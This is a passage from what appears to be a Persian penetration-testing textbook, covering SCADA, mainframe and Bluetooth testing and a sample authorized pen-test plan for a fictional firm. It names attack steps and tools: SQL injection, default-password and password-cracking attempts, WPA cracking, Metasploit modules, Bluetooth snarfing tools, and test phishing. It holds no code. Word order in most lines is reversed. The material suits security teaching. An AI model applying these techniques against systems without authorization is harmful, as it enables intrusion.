 موارد این باید نفوذ کننده تست یک و .شود انجام باید امنیتی اقدامات چه که کند می مشخص
 باشد داشته وجود صنعتی سیستم هر در باید که استاندارد از اساسی مورد چند .کند آزمایش را

 :از عبارتند
 خاص سرویس برای فایروال خاص قوانین با ،ها فایروال 
 دور راه از دسترسی های سرویس امنیت (telnetو TFTPوغیره) . 
 عمق. معماری در دفاع 
 شبکه. بندی تقسیم 
 باشند. داشته وجود محل در باید که خاصی های کنترل 

 :باشد می زیر شرح به SCADA سیستم هر نفوذ تست برای اساسی فرایند
 با که کنید حاصل اطمینان .کنید بررسی را SCADA خاص سیستم آن به مربوط اسناد .1 مرحله
 شناخته های پذیری آسیب جستجوی شامل باید بررسی این .هستید آشنا سیستم آن کلی عملیات
 .باشد فعلی SCADA بدافزارهای یا تهدیدات جستجوی همچنین و خاص سیستم آن در شده
 اعمال باید که را امنیتی تدابیر .کنید بازنگری را Revision 2 ،82-800 استاندارد .2 مرحله
 .کنید فهرست ،شوند
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 بگیرند قرار محل در باید که هایی کنترل / ها دستگاه / ها پروتکل از یک هر آزمایش .3 مرحله
 .کنید تست را ها آن از یک هر و دهید قرار هدف را

 .است فریبنده حدودی تا اما ،برسد نظر به ساده است ممکن ای مرحله سه روند این اکنون
 ساده کاملاً 2 مرحله .باشد می بر زمان بسیار تحقیقات 1 مرحله که اید کرده مشاهده قبلاً احتمالاً
 هر شامل تواند می 3 مرحله .باشد یکسان SCADA نفوذ های تست همه برای تقریباً باید و است
 اینکه به توجه با .ایم پرداخته ها آن به قبل فصل 17 در که باشد نفوذ تست مباحث از یک

 با که کنم ذکر اینجا را مطلب یک باید ،است شده متمرکز متااسپلویت برروی 16-13 فصلهای
 SCADA برای متااسپلویت ماژولهای که است مورد این نآ و شد خواهد شما خوشحالی عث
 :کنم می ذکر را منابع برخی اینجا در .دارد وجود

https://scadahacker.com/resources/msf-scada.html. 
https://www.rapid7.com/about/press-releases/new-metasploit-module-to-
exploit/ . 
http://www.securityweek.com/rapid7s-metasploit-get-scada-exploits. 

 در نفوذ تست برای Metasploit جدید های مهارت از استفاده در شما به توانند می منابع این
 .کنند کمک SCADA های سیستم
 دارد وجود نیز دیگر استاندارد چند ،است شده آورده بخش این در قبلاً که مطالبی بر علاوه
 :گیرند قرار توجه مورد خاص های محیط در است ممکن که
 شمالی آمریکای الکترونیکی اطمینان قابلیت شرکت North American Electric 

Reliability Corporation (NERC) این .دارد الکترونیکی های سیستم برای استانداردهایی 
 زیر: لینک در موارد

 http://www.nerc.com/pa/Stand/Pages/Project-2014-XX-CriticalInfrastructure-
Protection-Version-5-Revisions.aspx  .  

 .باشد می دسترس قابل
 NERC CIP (Critical توسط ها سیستم تمام )پچ( وصله اصلاحیه خاص طور به .1

Infrastructure Protection) 007-6 شود می عنوان. 
 دارد. نام CIP-009-3 تا NERC 1300، CIP-002-3 نسخه نیدتریجد .2

 "برای فایروال استقرار SCADA فرایند کنترل های شبکه و"  
https://www.ncsc.gov.uk/content/files/protected_files/guidance_files/2005022g
pg_scada_firewall.pdf. 

https://scadahacker.com/resources/msf-scada.html
https://www.rapid7.com/about/press-releases/new-metasploit-module-to-exploit/
https://www.rapid7.com/about/press-releases/new-metasploit-module-to-exploit/
http://www.securityweek.com/rapid7s-metasploit-get-scada-exploits
http://www.nerc.com/pa/Stand/Pages/Project-2014-XX-CriticalInfrastructure-Protection-Version-5-Revisions.aspx
http://www.nerc.com/pa/Stand/Pages/Project-2014-XX-CriticalInfrastructure-Protection-Version-5-Revisions.aspx
http://www.nerc.com/pa/Stand/Pages/Project-2014-XX-CriticalInfrastructure-Protection-Version-5-Revisions.aspx
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 عمومی تست استاندارد یک NIST 800-115 دارد. قرار زیر لینک در که ،است 
 https://csrc.nist.gov/publications/detail/sp/800115/final. 

 استفاده است شده آورده کتاب این در که آزمایشی های مهارت همان از شما :است این مسئله
 طور به باید ،SCADA سیستم در نفوذ آمیز یتموفق تست انجام برای ،حال این با .کرد خواهید
 .شوید آشنا خاص اسکادای سیستم با خاص طور به و SCADA با کلی
 

 Mainframes بزرگ( کامپیوترهای ها) فریم مین

 وجود هم هنوز ها آن اند. نرفته بین از ها میفر نیم ،باشید شنیده است ممکن آنچه برخلاف
 تصور ولی ،باشد می کمتر بسیار ها میفر نیم با اصلی مشکلات که است درست اگرچه .دارند
 تست به نیاز پذیری آسیب با سیستمی هر .است نادرست ،ندارد وجود امنیتی مسئله هیچ اینکه
 عامل سیستم چند .است اپلیکیشن هم و عامل سیستم شامل هم میفر نیم نفوذ تست .دارد

 :از عبارتند
AS/400. 
OS/390. 
 Z/OS  .  

 نفوذ تست .شوند می اجرا داده پایگاه مانند ها سیستم این در حیاتی های اپلیکیشن زیاد احتمال به
 و هدف سیستم با آشنایی قدم اولین .بود خواهد SCADA نفوذ تست مشابه کاملاً میفر نیم

 کتاب این کل در که هایی مهارت از سپس .بود خواهد سیستم آن خاص های پذیری آسیب
 .کرد خواهید استفاده ها پذیری آسیب این از برداری)کسپلویت( بهره یبرا اید آورده دست به
 

 (Mobile Pen Testing)تست نفوذ سیار 

 ما فصل این اوایل در .باشد می بلوتوث هم و سلولی فناوری شامل هم سیار دستگاه نفوذ تست
 سیار های دستگاه برای نفوذ تست به ما اینکه از قبل .کردیم بحث بلوتوث فناوری مورد در

 اصطلاحات با آشنایی قدم، اولین .بیندازیم نگاهی سلولی فناوری به ابتدا دهید اجازه ،بپردازیم
 است. سلولی
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  (Cellular Terminology) سلولی اصطلاحات

 شبکه برای سوئیچینگ سیستم Mobile switching center (MSC) سیار سوئیچینگ مرکز
 Global System for و 1G، 2G، 3G سیار یارتباط های شبکه در MSC .است سلولی

Mobile (GSM) 3 های شبکه با بعداً .شود می استفادهG و GSM شد خواهید آشنا. MSC تمام 
 پردازش را ثابت های تلفن و همراه تلفن های دستگاه بین و سیار های دستگاه بین ارتباطات

 سوئیچ تلفنی شبکه و پایه یایستگاهها بین ارتباط مسیریابی مسئول همچنین MSC .کند می
 .است (PSTN) عمومی
 که است سلولی شبکه از بخشی Base transceiver station (BTS) پایه گیرنده ایستگاه
 (BSS) پایه ایستگاه سیستم .است شبکه سوئیچینگ سیستم و همراه تلفن بین ارتباطات مسئول

Base station system های دستگاه با که است ییرادیو گیرنده تجهیزات از ای مجموعه 
 Base station (BSC) پایه کنترلرایستگاه یک و BTS یک از و کند می برقرار ارتباط سلولی

controller است شده تشکیل. BSC قطعات سایر که است مرکزی کننده هدایت کنترلر یک 
BSS کند می هماهنگ را. 
 MSC توسط که است ای داده هپایگا  Home location register (HLR) مکانی موقعیت ثبت

 مکان ثبت به مربوط این .است اطلاعات سرویس و مشترک داده حاوی و شود می استفاده
 استفاده رومینگ های تلفن برای که ،استVisitor location register (VLR) کننده بازدید
 .شود می

 که است حافظه تراشه یک Subscriber identity module (SIM) مشترک هویت ماژول
 را International Mobile Subscriber Identity (IMSI) سیار المللی بین مشترک شناسه
 باشد می چیزی همان و است شده گرفته نظر در فرد به منحصر گوشی هر برای .کند می ذخیره
 قابل کارت سیم دارای مدرن های تلفن از بسیاری .کنید می استفاده تلفن شناسایی برای شما که
 یک اصل در و کرده عو  را کارت سیم توانید می شما که معناست بدان و ،هستند جاییجاب
 خود فرد به منحصر سریال شماره شامل کارت سیم .باشید داشته دیگری شماره با متفاوت تلفن

ICCID - IMSI، معمولاً کارت سیم .است شده اطلاعات رمزگذاری و امنیتی هویت احراز 
 رمزعبور دو شامل و دارد دسترسی آن به کاربر که است خدماتی و ،شبکه اطلاعات دارای
 Personal identification number (PIN) شخصی شناسایی شماره عبور رمزهای این .باشد می
 .هستند Personal unlocking code (PUK) شخصی قفل کن باز کد و
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 سیار ارتباطات سراسری سیستم: Global System for Mobile (GSM) ارتباطات GSM 
 شده تهیه (ETSI) اروپا دور راه از ارتباطات استاندارد موسسه توسط که است استانداردی

 .است 2G شبکه GSM اساساً .است
 ارزیابی برای پیشرفته های داده نرخ Enhanced Data Rates for GSM Evolution 

(EDGE) : 3 پیوستار در دقیق طور بهG،2G،4G 2 فنی نظر از .گنجد نمیG+ گرفته نظر در 
 و 2G های فناوری بین پلی را آن توان می بنابراین ،است یافته بهبود GSM (2G) در اما ،شود می
3G دانست. 
 جهانی سیار ارتباطات سیستم (UMTS (Universal Mobile Telecommunications 

System: 3 استاندارد یکG بر مبتنی GSM بهبود اساساً استاندارد این .است GSM باشد. می 
 مدت بلند تحول Long Term Evolution (LTE) : سیم بی ارتباط برای استانداردی 

 معمولاً که است چیزی همان استاندارد این باشد می سیار های دستگاه برای پرسرعت های داده
4G شود می نامیده. 
 در ،حال این با.است نگرفته قرار استفاده مورد سراسری طور به هنوز 5G ،حاضر حال در

 .شوید آشنا آن با باید ،مرحله آن در و کند کار به شروع باید دور چندان نه ای آینده
 

  (Bluetooth Attacks) بلوتوث حملات

 .باشد شما برای تست مهمترین شاید و است رایج کاملاً سلولی های تلفن در بلوتوث حملات
 :کنیم شروع ثبلوتو حملات ترین رایج از ای خلاصه با اینجا در بیایید

Blue snarfing تلفن از اطلاعات گرفتن در سعی مهاجم آن در که است حملات از ای دسته 
 .دارد
 Bluejacking برای اوقات گاهی .است بلوتوث طریق از ،تلفن به ناخواسته اطلاعات ارسال 

 .شود می استفاده (spamهرزنامه) فوری، های پیام ارسال
Blue smacking شود می ها بسته در غرق هدف آن در که است سرویس انکار همنزل به حمله. 

Blue bugging های ویژگی به دور راه از (features) نظر به .کند می پیدا دسترسی تلفن 
 ،نیست داده دریافت Blue bugging از هدف اما ،باشد Blue snarfing شبیه بسیار که رسد می
 .ستا تلفن های ویژگی از برخی کردن فعال بلکه
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 Blue sniffingهمان war driving را موجود بلوتوث های دستگاه دارد سعی مهاجم .باشد می 
  .کند پیدا حمله برای
 Blue printing از را خود نام foot printing مورد در .است گرفته Blue printing، مهاجم 

 .آورد دست به را هدف تلفن به مربوط اطلاعات دارد سعی
 

 تلفن / ثبلوتو ابزارهای

 .کند استفاده ها آن از بلوتوث حمله تسهیل برای تواند می مهاجم که دارد وجود ابزار تعدادی
 نفوذ تست از مفیدی بخش توانند می ها آن .باشید آشنا موارد این از برخی با حداقل باید شما
 اند. شده یطراح نیز iPhone برای دیگر برخی ،Android برای فقط ابزارها از برخی .باشند شما
 

BH BlueJack. 

 نوشته پایتون نویسی برنامه زبان به و است دسترس در (رایگان) باز متن صورت به ابزار این
 توانید می .کنید امتحان دکمه یک کلیک با را Bluejacking دهد می امکان شما به .است شده
 زیر دانلود کنید لینک از را آن

 http://www.bluejackingtools.com/symbian/bh-bluejack-bluejacking-software/ 
 

BlueBorne. 

 برای Google Play فروشگاه در و است بلوتوث برای پذیری آسیب اسکنر یک این
 مشاهده لینک در را آن توانید می و باشد می موجود Android عامل سیستم دارای های موبایل
  :کنید

https://play.google.com/store/apps/details?id=com.armis.blueborne_detector&hl
=en.. 

 را آن توانید می که دارد بلوتوث های پذیری آسیب مورد در مقاله یک همچنین فروشنده این 
  :کنید مشاهده اینجا در

http://go.armis.com/hubfs/BlueBorne%20Technical%20White%20Paper.pdf.  .  
 .دهد می نشان را ابزار این 18-8 شکل

https://play.google.com/store/apps/details?id=com.armis.blueborne_detector&hl=en
https://play.google.com/store/apps/details?id=com.armis.blueborne_detector&hl=en
https://play.google.com/store/apps/details?id=com.armis.blueborne_detector&hl=en
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 .BlueBorne .18-8 شکل

 

 BLE اسکنر

 انجام که کاری اولین .باشد می رایگان دانلود صورت به و شده احیطر آیفون برای ابزار این
 دهد نشان شما به را اطراف بلوتوث های دستگاه که که باشد می صورت بدین داد خواهد
 .است شده داده نشان 18-9 شکل در که طور همان

 
 .BLE Scanner .18-9 شکل
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 شوید متصل دستگاه آن به تا کنید امتحان و کنید کلیک اتصال دکمه روی بر سادگی به سپس
 .است شده داده نشان 18-10 شکل در که طور همان

 
 .شوید متصل BLE .18-10 شکل

 

Pally. 

 در اولیه اطلاعات و بوده آسان کاربری رابط این .است آیفون برای دیگری بلوتوث اسکنر
 به ،است شده هداد نشان 18-11 شکل در که طور همان را اطراف بلوتوث های دستگاه مورد
 .دهد می ارائه شما

 
 Pally Scanner .18-11 شکل
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 کردن هک برای تلاش حتی یا بلوتوث اسکن برای توان می که دارد وجود دیگر ابزار تعدادی
 ها تکنیک و ابزارها از ای مجموعه که است مهم نفوذ کننده تست یک برای .کرد پیدا بلوتوث

 کنید می فکر که را هایی روش همه که است این نفوذ تست هدف تمام .باشد داشته اختیار در را
 آورده دیگر ابزارهای برخی از لیستی اینجا در .کنید امتحان ،کند می استفاده ها آن از مهاجم
 :است شده

PhoneSnoop 
 BlueScanner 
 BH BlueJack 
 Bluesnarfer 
 btCrawler 
 Bluediving  

Bloover II  
btscanner 

 CIHwBT 
 BT Audit 
 Blue Alert 

Blue Sniff 
 

 خلاصه

 پس اساسی های آوری فن از برخی همچنین و Wi-Fi تست بنیادی های تکنیک ،فصل این در
 آشنا ها آن تست نحوه و SCADA های سیستم با شما همچنین .اید آموخته را Wi-Fi زمینه
 تست تمرکز میزان هب بسته .کردیم بحث بلوتوث و سلولی حملات مورد در ما ،سرانجام .شدید
 مطالعات برخی به نیاز مباحث این از یک هر است ممکن ،ها آوری فن این روی بر شما نفوذ
 .کنید کسب مهارت آن در واقعاً تا باشد داشته اضافی
 سادگی به قبلی های فناوری از یکی و ،دهید می انجام شبکه نفوذ تست یک اگر ،کلی طور به

 تست برای فصل این در موجود مطالب از توانید می احتمالاً ،است تست آن از کوچکی قسمت
 تست اگر ،حال این با .است فصل این در شده ذکر منابع شامل که .کنید استفاده سیستم کافی
 برای ،است شده متمرکز SCADA مانند ها آوری فن این از یکی روی بر اول درجه در شما
 .کنید مطالعه بیشتری جزئیات با را صخا های سیستم باید ،موفق نفوذ تست یک انجام
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 فصل اهداف

 :دهید انجام را زیر موارد بود خواهید قادر ،فصل این خواندن از پس
 کنید ریزی برنامه را کوچک شبکه نفوذ تست یک. 
 دهید انجام را تست از پیش های فعالیت. 
 بنویسید گزارش. 
 نفوذ تست مختلف استانداردهای همچنین و فنون از ای گسترده طیف با باید ،مرحله این در
 نفوذ تست طریق از ما .بود خواهد قبلی های فصل از متفاوت کمی فصل این .باشید شده آشنا
 که را آنچه تمام دهد می امکان شما به که کرد، خواهیم اندازی راه کوچک شبکه یک

 .یدکن بندی جمع واحد پروژه یک در اید آموخته
 

  (Pen Test Outline) نفوذ تست کلی طرح

 که مواردی و کار (scope) دامنه ،هدف شبکه به کنید می استفاده ابزاری و ها تست چه از اینکه
 استفاده فرضی شرکت یک از ما ،سازی تصویر اهداف برای .دارد بستگی هستند تست حال در

 ایستگاه 30 ،دروازه با روتر 1 دارای .است ACME Bookkeeping شرکت این .کرد خواهیم
 خواهیم فر  را سفید جعبه تست یک ما .سرور وب 1 و سرور 3 (،workstations) کاری
 .کنیم می طی دهید انجام شرکت این نفوذ تست در باید که را مراحلی فصل این در .کرد

 .داد خواهیم قرار اختیارتان در را شرکت این شبکه در موجود فرضی موارد همچنین
 تازه فرد تا شود می داده اجازه عمدی صورت به .است ساده نسبتاً تست یک نفوذ تست این

 .باشد سازگار روند با و کرده نفوذ واردی
 

 (Pre-Test Activities)تست  های پیش فعالیت
 .است ACME Bookkeeping در معتبر شخص با ملاقات ،نفوذ تست این اجرای در قدم اولین
 :کنید درخواست را زیر اطلاعات ایدب شما جلسه آن در
 هستند؟ اجرا حال در کاری های ایستگاه و سرورها در هایی عامل سیستم چه 
 کنید شناسایی را ضروری های اپلیکیشن. 
 گذشته ماه 12 در شده تأیید یا مشکوک موارد یا امنیتی نقض موارد لیست. 
 کنید ساییشنا ،هستند اجرا قابل شرکت این برای که را نظارتی موارد. 
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 فقط یا کنند تست را دستگاهی هر خواهند می ها آن آیا چیست؟ پروژه )دامنه( محدوده 
 ها آن آیا باشید؟ داشته فیزیکی نفوذ تست خواهید می آیا کنند؟ تست خواهند می را نمونه یک

 خواهند؟ می اجتماعی مهندسی

 شوند؟ تست اموشخ ساعات در فقط سرورها باید آیا .کنید تعیین را شغلی قوانین  
 آیا ،باشد شده انجام پذیری آسیب های اسکن یا نفوذ های تست ،امنیت های ممیزی قبلاً اگر 

 کنید؟ مشاهده را موارد این است لازم
 کنید؟ مشاهده نیز را ها آن خواهید می ،باشد شده گزارش قبلی رخداد اگر 

 مجدوز  شدرکت  در کسی از که کنید حاصل اطمینان ،نفوذ تست هرگونه شروع از قبل ،همه از مهمتر
 . نفوذ( تست قرارداد اید)نوشتن کرده دریافت دارید را نفوذ تست تأیید صلاحیت که را کتبی
 :کنیم می فر  را زیر های پاسخ ما ACME ساماندهی فرضی تست برای
 از سرور وب از غیر به سرورها همه Windows Server 2016 سرور وب .کنند می استفاده 
 .است اجرا حال در Apache سرور وب با اوبونتو 16.03 وکسلین با
 پردازش را محرمانه اطلاعات که است مشتری پورتال اپلیکیشن یک میزبان سرور وب 
 .کند می اجرا را SQL Server 2012 سرورها از یکی .کند می
 حمله به مشکوک مورد یک و است داده رخ ویروس آلودگی مورد دو گذشته ماه 12 در 

DoS است شده گزارش وب سرور به. 
 ندارد وجود نظارتی نظر از مشکلی. 
 تست یا فیزیکی نفوذ تست بدون .شوند تست باید کاری های ایستگاه ٪10 و سرورها همه 

 .اجتماعی مهندسی
 شود انجام کاری ساعات از خارج باید ها تست تمام. 
 های سیستم کلیه از بخواهید مشتری شرکت از ،تست شروع از قبل ،امکان صورت در 

 .کرد بازیابی را آن بتوان ،آمد پیش مشکلی اگر که صورتی در که کند تهیه پشتیبان حساس
 این همه که کنید حاصل اطمینان ،کردید شناسایی را تست این برای لازم اطلاعات که اکنون
 .گیرد قرار مشتری و شما نامه توافق در موارد
 عکس حملات و ابزارها از مرتباً که باشید داشته طرخا به کنید می شروع را تست که هنگامی
 های یادداشت ،ها آن نتایج و دهید می انجام که کارهایی درباره . (screen shotبگیرید)
 نیاز دقیق بسیار اطلاعات به شما ،کار پایان در مؤثر گزارش یک نوشتن برای .بردارید فراوانی
 .داشت خواهید
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 External خارجی

 نیازی .شود می انجام سازمان از دور راه صورت به که است اسکن های فعالیت شامل بخش این
 .نیست محل در حضور به
 

 Passive Scanning فعال)منفعل( غیر اسکن

 مورد فناوری مورد در بیشتر اطلاعات کسب برای .کنیم می شروع فعال غیر اسکن با ما ،بعد
 استفاده archive.org و netcraft.com، shodan.io، builtwith.com از ،شرکت استفاده
 .باشد آموزنده بسیار تواند می که باشید داشته ای ویژه توجه shodan.io به .کنید
 و اید کرده پیدا (netcraft.com و builtwith.com) وب سرور برای که را جزئیاتی تمام 

 زمان نوناک.کنید ثبت را shodan.io توسط شده شناسایی پذیری آسیب هرگونه همچنین
 بررسی را Facebook و LinkedIn، Twitter .است وب در شرکت نام یافتن برای جستجو
 های آدرس و ها URL ،شرکت های تلفن شماره در Maltego از بخواهید است ممکن .کنید
 و (ها شرکت یا اشخاص) متصل هویت هر از ای نشانه تواند می این .کنید استفاده ایمیل

 .دهد ارائه شما به است عموم دسترس در که شرکتی مورد در عاتاطلا هرگونه همچنین
 از سایبری تهدیدات به مربوط اطلاعاتی های سایت وب از استفاده برای مناسبی زمان همچنین
 .باشد اینترنت قبیل
 سیستم برای شده شناخته های پذیری آسیب مورد در تحقیق برای مناسب همچنین مرحله این
 و اوبونتو لینوکس دارای ها آن که دانیم می ما .است شبکه این در فادهاست مورد های عامل
 ,/https://cve.mitre.org و hreatpost.com ،گوگل از استفاده با .هستند 2016 سرور ویندوز

 .کنید جستجو را وب در /
 

  (Active Scanning) فعال اسکن

 با کار این .کنیم می آغاز ،هستند رو به رو که را هدف شبکه از بخشهایی فعال اسکن ما اکنون
 هر به .شود می آغاز سرور وب و روتر دروازه اسکن برای Nmap مانند ابزارهایی از استفاده
 با کنید سعی ،کند می استفاده Wi-Fi از شرکت این اگر .کنید توجه باز پورت و سرویس
 .شوید متصل WAP به فر  پیش عبور رمزهای از استفاده
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 شما .کنیم می اجرا را خارجی پذیری آسیب های اسکن ما که است زمانی ینهمچن اسکن این
 را OWASP ZAP و Vega خودم من .کنید اجرا سرور وب در را مختلف اسکنر دو باید

 .کنید استفاده است خودتان علاقه مورد که مورد هر از توانید می شما اما ،کنم می توصیه
 ،13 فصل در که است Metasploit های اسکن از تفادهاس برای مناسبی مکان همچنین مکان این

 ها اسکن سایر و SQL Server ،ناشناس SSL، FTP .اید گرفته یاد "Metasploit بر ای مقدمه"
 در ها سرویس آیا شود مشخص تا کنید اجرا عمومی دستگاه هر روی را موارد این .دارد وجود
 برداری بهره قابل شده گفته های سرویس اینکه یا و خیر یا دارند قرار خارج دنیای معر 

 .هستند )اکسپلویت(
 

  (Actual Breaching) واقعی نقض

 را خارجی های  (Interface) واسط از یک هر کنیم سعی که است رسیده فرا آن زمان اکنون
 استفاده اید کرده کشف که پذیری آسیب هر از .کرد خواهیم شروع سرور وب با ما .کنیم نقض
 SQL برابر در سرور کنید فر  .کنید نقض تکنیک چندین با را ها آن کنید عیس و کنید

Injection سپس شما .باشد پذیر آسیب: 
 دستی استفاده برای تلاش SQL Injection  
 تزریق در تلاش برای SQL مانند ابزاری از Burp Suite کنید. استفاده 

 شده شناسایی های پذیری یبآس همه به خودکار نیمه صورت به هم و دستی صورت به هم
 .کنید حمله
 حدس ،آن به ورود برای تلاش ابتدا .کنیم می تکرار gateway روتر برای را فرایند آن اکنون
 کردن مستند و روتر به دسترسی برای را مختلفی های روش .داریم را غیره و عبور رمزهای زدن
 .کنید امتحان را نتایج
 ادمین صفحه وارد کنید سعی باید .WAP :شویم می جهموا عمومی واسط آخرین با ما سپس
 را دیگری پذیری آسیب هرگونه و بشکنید را (WPA2 یا WEP، WPA) امنیتی پروتکل ،شوید
 .کنید نقض اید کرده شناسایی که
 فعال اسکن بعدی مرحله ،فعال غیر اسکن - 1 مرحله و تعهد از قبل های فعالیت اتمام از پس
 طور به فعال اسکن ،سناریو این در شده توصیف شبکه مانند ،چککو شبکه یک در .است
 .شود شروع خارجی تست با که است تر ساده معمولاً .نقض - شود می منتقل 3 مرحله به طبیعی
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 :دهید انجام همیشه باید که دارد وجود مرحله چند ،واسط سه هر برای
o در .کنید استفاده متااسپلویت مناسب حمله هرگونه از ،نقض برای دیگر های تلاش بر علاوه 

 های ماژول جستجوی برای پذیری آسیب این از توانید می ،ها پذیری آسیب شناسایی صورت
 .کنید استفاده هدف برروی ها ماژول آن از سپس .کنید استفاده متااسپلویت

o کنید امتحان عمومی های واسط همه در را فر  پیش عبور رمزهای همیشه. 
o کنید امتحان عمومی های واسط همه در را عبور رمز شکستن ارهایابز از برخی همیشه. 

 های ایمیل ارسال برای مرحله این از توانید می همچنین ،ساماندهی قوانین و تست ماهیت به بسته
 استفاده ضرر بی ویروسهای از توانند می اینها .کنید استفاده کارمندان از بخشی برای فیشینگ
 به که ویروسی ،مثال عنوان به .کردید مشاهده "بدافزار" ،5 فصل رد که آنهایی مانند ،کنند
 " don’t open attachments نکنید باز را پیوستها" گفتن برای ویندوز گفتار موتور از راحتی
 .کند می استفاده
 .اید رسانده پایان به را نفوذ تست این خارجی قسمت مرحله این در
 

  (Internal) داخلی

 داخلی تست .شود می انجام شبکه داخل از قسمت این .کنید حرکت داخلی صورت به اکنون
 توان می شبکه داخل از فقط را ها پذیری آسیب برخی که است این مورد اولین .دارد دلیل دو

 .باشد داخلی تهدیدهای نگران همیشه باید شرکت که این دیگر .یافت
 ،است مایکروسافت اول درجه در شبکه این که آنجا از .کنید شروع پذیری آسیب اسکن با

MBSA تری محکم ابزار باید همچنین شما .بود خواهد شبکه در اجرا برای مناسب ابزاری 
 .کنید اجرا 13 فصل از را Metasploit های اسکن باید دوباره .بگیرید نظر در را Nessus مانند
 دوباره همچنین .تگرف خواهید نتیجه خارجی اسکن از بیشتر داخلی اسکن یک از احتمالاً
Nmap بیشتری نتایج داخلی اسکن از زیاد احتمال به همچنین .کنید اجرا داخلی صورت به را 
 .آورید می دست به ،کردید اجرا خارج در را Nmap که زمانی به نسبت
 از ٪10 همچنین و سرورها از یک هر کنید سعی باید ،ساماندهی قوانین طبق ،اکنون
 هک های تکنیک تمام از را مورد این .کنید نقض را (کاری یستگاها 3) کاری های ایستگاه
 کنید سعی .کنید استفاده توانید می اید گرفته یاد "ویندوز کردن هک" ،6 فصل در که ویندوز

 کنید سعی ،کنید امتحان را عبور رمز شکستن ،کنید پیدا دسترسی (sharesاشترکات) به
 .کنید نقض را شده شناخته پذیری آسیب هرگونه



 آموزش اصول و مفاهیم تست نفوذ 460 

 

 به Metasploit حمله چندین .باشد مفید کاملاً تواند می Metasploit ،داخلی مرحله این طی در
 نیاز پیوند روی بر کلیک برای کاربر که حملاتی جمله از ،کنید امتحان را مختلف های ماشین
 .شود می تست متااسپلویت هم و فیشینگ هم کار این با .دارد
 و Telnet کنید سعی .نکنید فراموش را چاپگرها مانند ،شبکه در موجود های دستگاه سایر

SSH های سوئیچ یا روترها است ممکن همچنین .کنید وارد فر  پیش عبور رمزهای با را 
 .نکنید فراموش را ها آن بررسی بنابراین ،باشد داشته وجود داخلی

 را چاپگر ایمیل آدرس دتوانی می .دارند چاپگر به ایمیل ارسال برای سازوکاری HP پرینترهای
 آدرس جستجوی و ePrintCenter.com به ورود راه اولین .کنید پیدا مختلف روش دو به

 که باشد می پرینتر جلویی پنل در ePrint دکمه لمس دوم روش .است چاپگر صفحه در ایمیل
 ،همچنین و کنید تست را مورد این باید شما .دهد می نمایش را چاپگر وب اطلاعات تمام

 .هستند مشابه مشکلات دارای نیز دیگر های دستگاه آیا که دریابید
 .کنید تست را،شود می استفاده که را استانداردی هر توسط شده داده نشان موارد تمام باید ،البته
 اعتباری کارت های داده خارجی ارتباطات تمام رمزگذاری به نیاز PCI DSS ،مثال عنوان به

 .کنید تست را خارجی و داخلی های داده ارتباطات مامت کنم می پیشنهاد .دارد
 

  (Optional Items) اختیاری موارد

 این در قبلاً .بگیرید نظر در را ها آن باید اما ،ندارند قرار نفوذ های تست در همیشه زیر موارد
 .کردیم اشاره مورد چند به فصل
 تیهدا جمله از یضرر یب کار که دیکن ارسال ناشناس نگیشیف لیمیا کارمندان یبرا .1

 ای نکنند، کیکل وندهایپ یرو تا کند می ییراهنما را ها آن که است ای صفحه به ها آن مجدد
 را ها وستیپ دیگو می ها آن به و دارد بازشو پنجره ای صدا فقط که ضرر یب بدافزار وستیپ کی

  نکنند. دانلود
 .دهید مانجا حضوری مراجعه یا تلفن طریق از را اجتماعی مهندسی .2
 باشد پذیری آسیب اسکن شامل تواند می اما ،نیست پذیری آسیب اسکن نفوذ تست .3
 ممیزی نفوذ، تست یک ،ترتیب همین به . (شد مطرح قبلاً کتاب این در که طور همان)

 دارد احتمال ،حساب این با .باشد ممیزی یک عناصر شامل تواند می اوقات گاهی اما ،باشد نمی
 :کنید بررسی را زیر موارد که باشید داشته تمایل
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 عبور رمز های الف.سیاست 
o قفل سیاست .اول 
o الزامات حداقل دوم 
o عبور رمز تغییر بار چند سوم 
 دارد؟ وجود شبکه جای هر در غیرمجازی افزار نرم یا دستگاه آیا ب 
 است؟ فعال ،نیستند سازمان این در دیگر که کارمندانی برای که هایی حساب هنوز آیا ج 
 حال در وقتی .کنید اضافه کلی طرح این به را مواردی تمایل صورت در باید شما ،کلی ورط به

 پیش پروژه از قبل های فعالیت که بیاید پیش مواردی است ممکن ،هستید سیستم یک تست
 از باید که آموزد می شما به را جدیدی موارد شما شخصی تجربه ،همچنین .باشد نشده بینی
 .کنید مراقبت ها آن

 فصل این نوشتن زمان در که باشد داشته وجود امنیت مورد در جدیدی اخبار دارد احتمال
 یک برای فصل این در شده توصیف نفوذ تست که باشید داشته بخاطر .است نبوده موجود
 قرار نفوذ موفقیت تست حداقل یا مبنا خط را آن باید و است شده طراحی کوچک شبکه
 .دهید گسترش را نفوذ تست و کرده اضافه آن رابه مواردی و یدکن راحتی احساس باید .دهید
 

  (Report Outline) کلی گزارش

 زیادی تعداد ،خود ابزارهای از زیادی تصاویر باید ،اید رسانده پایان به را خود تست که اکنون
 شده یافت موارد روی باید تمرکز اگرچه .باشید داشته ها داده از توجهی قابل مقدار و یادداشت
 ذکر باید نیز نباشد پذیر آسیب خاصی حمله برابر در که کردید تست را آنچه هر اما ،باشد
 از برخی زیر مطالب رئوس .باشد می بودن کامل و صریح ،گزارش تهیه در اصلی نکته .شود

 :دهد می ارائه شما به را رهنمودها
 :زیر های بخش با ،باشد کامل باید گزارش

 اجرایی خلاصه اول (Executive summary)  
 .دهد می توضیح را نتایج و تست دامنه که پاراگراف 3 تا 1
 مقدمه دوم (Introduction)  
 باید همچنین بخش این .کنید می توصیف را تست مقصد و اهداف شما که است جایی این
 .شود می نامیده کار دامنه عنوان به اغلب که باشد، استثنا موارد و تست اهداف شامل
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 چنین .باشد ریسک ارزیابی یا گذشته نقض هرگونه و تعامل قوانین شامل باید بخش این
 .باشد شما نفوذ تست بندی اولویت برای راهنمایی باید گذشته های فعالیت

 دقیق تحلیل و تجزیه سوم (Detailed Analyses)  
 .صفحه از کسع و گام به گام مبحث با ترجیحاً ،اید داده انجام که باشد تستی هر شامل باید

 تکرار را شما های تست بتواند اعتماد مورد فنی شخص هر که باشد کافی اندازه به باید جزئیات
 .کند
 پیوست ضمائم عنوان به گزارش آن ،کند می تولید گزارش که اید کرده استفاده ابزاری از اگر
 .کنند می تولید گزارش پذیری آسیب اسکنرهای بیشتر .شود

 یک با را ها آن است ممکن که زمان هر ،کنید می شناسایی را ها یریپذ آسیب که هنگامی
 :مثلا .کنید شناسایی شده شناخته استاندارد

o  مشترک پذیری آسیب و گرفتن قرار درمعر Common Vulnerabilities and 

Exposures (CVE) . 
o پذیری آسیب ملی داده پایگاه National Vulnerability Database (NVD)  
